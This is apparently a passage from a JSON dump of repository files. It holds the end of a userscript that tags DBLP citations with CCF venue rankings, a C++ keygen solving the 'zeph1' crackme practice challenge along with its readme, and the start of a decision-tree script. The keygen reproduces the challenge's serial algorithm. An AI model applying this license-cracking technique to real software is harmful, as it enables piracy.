\"conf/compgeom\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/esa\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/coco\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/icalp\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/cade\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/concur\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/hybrid\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/sat\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"B\"], \"conf/csl\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/fmcad\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/fsttcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/dsaa\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/ictac\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/ipco\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/rta\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/isaac\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/mfcs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"conf/stacs\": [\"\\u79d1\\u5b66\\u7406\\u8bba\", \"C\"], \"journals/tog\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"journals/tip\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"journals/tvcg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"journals/cagd\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/cgf\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/cad\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/cvgip\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/tcsv\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/tmm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"http://scitation.aip.org/content/asa/journal/jasa\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/siamis\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/speech\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"journals/comgeo\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/jvca\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/cg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/dcg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/spl\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/iet-ipr\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/jvcir\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/mms\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/mta\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/sigpro\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/spic\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/vc\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/mm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/siggraph\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/vr\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/visualization\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"A\"], \"conf/mir\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/si3d\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/sca\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/dcc\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/eurographics\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/vissym\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/sgp\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/rt\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/icassp\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/icmcs\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/ismar\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/pg\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/sma\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"B\"], \"conf/vrst\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/ca\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/cgi\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/interspeech\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/gmp\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/apvis\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/3dim\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/cadgraphics\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/icip\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/mmm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/pcm\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"conf/smi\": [\"\\u56fe\\u5f62\\u5b66\\u4e0e\\u591a\\u5a92\\u4f53\", \"C\"], \"journals/ai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/pami\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/ijcv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/jmlr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"journals/tap\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tslp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/aamas\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/coling\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/cviu\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/ec\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/taffco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/taslp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tcyb\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tec\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tfs\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/tnn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/ijar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/jair\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/jar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"http://jslhr.pubs.asha.org/\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/ml\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/neco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/nn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/par\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"journals/talip\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/apin\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/artmed\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/alife\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ci\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/csl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/connection\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/dss\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/eaai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/es\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/eswa\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/fss\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/tciaig\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/iet-cvi\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/iet-spr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ivc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ida\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijcia\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijns\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijprai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijufks\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijdar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/jetai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/kbs\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/mt\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/mva\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/nc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/nle\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/nca\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/npl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/ijon\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/paa\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/prl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/soco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/wias\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/aaai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/nips\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/acl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/cvpr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/iccv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/icml\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/ijcai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"A\"], \"conf/colt\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/emnlp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/ecai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/eccv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/icra\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/aips\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/iccbr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/coling\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/kr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/uai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/atal\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/ppsn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"B\"], \"conf/aistats\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/accv\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/acml\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/bmvc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/nlpcc\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/conll\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/gecco\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ictai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/iros\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/alt\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icann\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/fgr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icdar\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ilp\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ksem\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/iconip\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icpr\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/icb\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/ijcnn\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/pricai\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"conf/naacl\": [\"\\u4eba\\u5de5\\u667a\\u80fd\", \"C\"], \"journals/tochi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"journals/ijmms\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"journals/cscw\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/hhci\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/thms\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/iwc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/ijhci\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/umuai\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"journals/behaviourIT\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"journals/puc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"journals/percom\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/cscw\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"conf/chi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"conf/huc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"A\"], \"conf/group\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/iui\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/tabletop\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/uist\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/ecscw\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/percom\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/mhci\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"B\"], \"conf/ACMdis\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/icmi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/assets\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/graphicsinterface\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/uic\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/haptics\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/interact\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/acmidc\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/colcom\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/cscwd\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/coopis\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/mobiquitous\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"conf/avi\": [\"\\u4eba\\u673a\\u4ea4\\u4e92\\u4e0e\\u666e\\u9002\\u8ba1\\u7b97\", \"C\"], \"journals/jacm\": [\"\\u4ea4\\u53c9\", \"A\"], \"journals/pieee\": [\"\\u4ea4\\u53c9\", \"A\"], \"journals/bioinformatics\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/bib\": [\"\\u4ea4\\u53c9\", \"B\"], \"http://www.journals.elsevier.com/cognition/\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tase\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tgrs\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tits\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tmi\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/trob\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/tcbb\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/jcst\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/jamia\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/ploscb\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/chinaf\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/cj\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/wwwj\": [\"\\u4ea4\\u53c9\", \"B\"], \"journals/bmcbi\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/cas\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/fcsc\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/lgrs\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/titb\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/tbd\": [\"\\u4ea4\\u53c9\", \"C\"], \"http://digital-library.theiet.org/content/journals/iet-its\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/jbi\": [\"\\u4ea4\\u53c9\", \"C\"], \"journals/mia\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/www\": [\"\\u4ea4\\u53c9\", \"A\"], \"conf/rtss\": [\"\\u4ea4\\u53c9\", \"A\"], \"conf/cogsci\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/bibm\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/emsoft\": [\"\\u4ea4\\u53c9\", \"B\"], \"http://www.iscb.org/about-ismb\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/recomb\": [\"\\u4ea4\\u53c9\", \"B\"], \"conf/amia\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/apbc\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/bigdataconf\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/IEEEcloud\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/smc\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/cosit\": [\"\\u4ea4\\u53c9\", \"C\"], \"conf/isbra\": [\"\\u4ea4\\u53c9\", \"C\"]};\r\nvar topconf = [\"conf/ndss\", \"conf/uss\", \"conf/sp\", \"conf/ccs\"];\r\nfunction work() {\r\n    'use strict';\r\n    document.querySelectorAll(\"cite\").forEach(function(cite){\r\n        if(cite.parseok) return;\r\n        var link = cite.querySelector(\"a[href*=db\\\\/]\");\r\n        if(!link) return;\r\n        var confname = link.href.split(\"/\").slice(4,6).join(\"/\");\r\n        if(/asiaccs/.test(link.href)) confname=\"conf/asiaccs\";\r\n        var data = (ccfdata[confname]);\r\n        if(!data) return;\r\n        //console.log(data)\r\n        var type = data[0], abc = data[1];\r\n        var span = document.createElement(\"span\");\r\n        var color = {\"A\":\"red\", \"B\":\"blue\", \"C\":\"#7e7e7e\"}[abc]\r\n        var bgcolor = {\"A\":\"#ff65c61a\", \"B\":\"#e3d7fa4a\", \"C\":\"initial\"}[abc];\r\n        if(topconf.indexOf(confname)>=0) bgcolor = \"#ffd98de3\";\r\n        span.setAttribute(\"style\",\"color:\"+color+\";font-weight:bold;\");\r\n        cite.style.backgroundColor = bgcolor;\r\n        span.innerText = \"CCF \"+abc+\" \"+type;\r\n        cite.append(\" \");\r\n        cite.appendChild(span);\r\n        //console.log(cite)\r\n        cite.parseok = true;\r\n    })\r\n}\r\n\r\n(function(){\r\n    setInterval(work, 500);\r\n})();"
  },
  {
    "path": "code/ctf.cf_crackme/zeph1/exp.cpp",
    "content": "#include <stdio.h>\r\n#include <string.h>\r\n/*\r\n    Link: http://ctf.tf/ctfs/zeph1/\r\n    Exp Author: zjuchenyuan\r\n*/\r\nint i,j,k,l,v19,ii,v24,v23,v7,v12,v11,v16;\r\nunsigned int m,v8,v13,name_sum=0;//distinguish unsigned int from signed int is very important!\r\nchar output[9999];\r\nchar* exp(char* NameString){\r\n  char name_i,name_j,name_k,name_l,name_ii;\r\n  int len_name=strlen(NameString);\r\n  for ( i = 0; i < len_name; name_sum = v7 )\r\n  {\r\n    name_i = *(NameString + i);\r\n    name_sum += name_i;\r\n    if ( name_i < 74 )\r\n      v7 = 2 * name_sum * name_i;\r\n    else\r\n      v7 = name_sum * name_i;\r\n    ++i;\r\n  }\r\n  v8 = name_sum % 0x724;\r\n  //printf(\"v8=%d\\n\",v8);\r\n  for ( j = 0; j < len_name; v8 = v12 )\r\n  {\r\n    name_j = *(NameString + j);\r\n    v11 = name_j + v8;\r\n    if ( name_j < 64 )\r\n      v12 = 4 * v11 * name_j;\r\n    else\r\n      v12 = v11 * name_j;\r\n    ++j;\r\n  }\r\n  v13 = v8 % 0x2225;\r\n  //printf(\"v13=%d\\n\",v13);\r\n  for ( k = 0; k < len_name; ++k )\r\n  {\r\n    name_k = *(NameString + k);\r\n    v16 = name_k + v13;\r\n    if ( name_k < 84 )\r\n      v13 = 6 * v16 * name_k;\r\n    else\r\n      v13 = v16 * name_k;\r\n  }\r\n  for ( l = 0; l < len_name; ++l )\r\n  {\r\n    name_l = *(NameString + l);\r\n    v19 = name_l + v13;\r\n    if ( name_l < 74 )\r\n      v13 = 5 * v19 * name_l;\r\n    else\r\n      v13 = v19 * name_l;\r\n  }\r\n  ii = 0;\r\n  //printf(\"m=%d\\n\",m);\r\n  for ( m = v13 % 0x2E34; ii < len_name; m = v24 )\r\n  {\r\n    name_ii = *(NameString + ii);\r\n    v23 = name_ii + m;\r\n    if ( name_ii < 64 )\r\n      v24 = 7 * v23 * name_ii;\r\n    else\r\n      v24 = v23 * name_ii;\r\n    ++ii;\r\n  }\r\n  //printf(\"m=%d\\n\",m);\r\n  sprintf(output, \"%X%lu\", m, m);\r\n  //puts(output);\r\n  return output;\r\n}\r\nint main(){\r\n\tchar NameString[9999];\r\n\tprintf(\"Input Your Name: \");\r\n\tgets(NameString);//example: chenyuan\r\n\tprintf(\"Your Serial No: \");\r\n\tputs(exp(NameString));//example: 93622A222472684066\r\n}\r\n"
  },
  {
    "path": "code/ctf.cf_crackme/zeph1/readme.txt",
    "content": "Try to write a valid keygen for this crackme.\r\nIf you manage to do this without patching, then\r\nfeel free to send a tutorial+keygen to me or http://www.crackmes.de.\r\n\r\nDifficulty : 1/10\r\n\r\nGood luck :)\r\n\r\nzephyrous@inbox.lv"
  },
  {
    "path": "code/decisiontree.py",
    "content": "# -*- coding: gbk -*-\r\n#Original From:http://blog.csdn.net/alvine008/article/details/37760639\r\n#compatible both in python2 and python3\r\n#use json to make the output tree look better\r\nimport math\r\nimport json\r\nimport operator\r\ndef calcShannonEnt(dataSet):  #Ϣ\r\n    #calculate the shannon value  \r\n    numEntries = len(dataSet)  \r\n    labelCounts = {}  \r\n    for featVec in dataSet:      #create the dictionary for all of the data  \r\n        currentLabel = featVec[-1]  \r\n        if currentLabel not in labelCounts.keys():  \r\n            labelCounts[currentLabel] = 0  \r\n        labelCounts[currentLabel] += 1  \r\n    shannonEnt = 0.0  \r\n    for key in labelCounts:  \r\n        prob = float(labelCounts[key])/numEntries  \r\n        shannonEnt -= prob*math.log(prob,2) #get the log value  \r\n    return shannonEnt\r\n\r\n\r\ndef splitDataSet(dataSet, axis, value):  